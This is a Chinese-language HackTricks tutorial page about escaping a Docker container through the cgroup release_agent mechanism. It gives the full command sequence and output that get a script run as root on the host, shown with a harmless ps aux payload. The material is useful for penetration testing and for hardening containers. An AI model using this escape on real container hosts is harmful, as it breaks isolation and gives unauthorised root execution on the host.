hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
2023-08-03 19:12:22 +00:00

7.5 KiB
Raw Blame History

Docker release_agent cgroups逃逸

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

分解概念验证

为了触发此漏洞利用我们需要一个cgroup我们可以在其中创建一个release_agent文件并通过杀死cgroup中的所有进程来触发release_agent调用。实现这一目标的最简单方法是挂载一个cgroup控制器并创建一个子cgroup。

为此,我们创建一个/tmp/cgrp目录,挂载RDMA cgroup控制器并创建一个子cgroup在本示例中命名为“x”。虽然并未测试每个cgroup控制器但这种技术应该适用于大多数cgroup控制器。

如果你正在跟随并遇到**mount: /tmp/cgrp: special device cgroup does not exist**那是因为你的设置没有RDMA cgroup控制器。rdma更改为memory以修复。我们使用RDMA是因为原始的PoC只设计用于与其一起使用。

请注意cgroup控制器是全局资源可以多次挂载具有不同的权限并且在一个挂载中进行的更改将应用于另一个挂载。

我们可以在下面看到“x”子cgroup的创建和其目录列表。

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

接下来,我们通过向notify_on_release文件写入1来启用对“x” cgroup释放的cgroup通知。我们还通过将主机上的release_agent文件写入/cmd脚本的路径来设置RDMA cgroup的释放代理我们稍后将在容器中创建该脚本。为此我们将从/etc/mtab文件中获取容器在主机上的路径。

我们在容器中添加或修改的文件存在于主机上,并且可以从两个世界(容器中的路径和主机上的路径)修改它们。

下面是这些操作的示例:

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

请注意我们将在主机上创建的 /cmd 脚本的路径:

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

现在,我们创建/cmd脚本,使其执行ps aux命令,并将其输出保存到容器中的/output文件中,通过指定主机上输出文件的完整路径。最后,我们还打印/cmd脚本以查看其内容:

root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最后我们可以通过在“x”子cgroup中生成一个立即结束的进程来执行攻击。通过创建一个/bin/sh进程并将其PID写入“x”子cgroup目录中的cgroup.procs文件,主机上的脚本将在/bin/sh退出后执行。然后,主机上执行的ps aux命令的输出将保存到容器内的/output文件中:

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥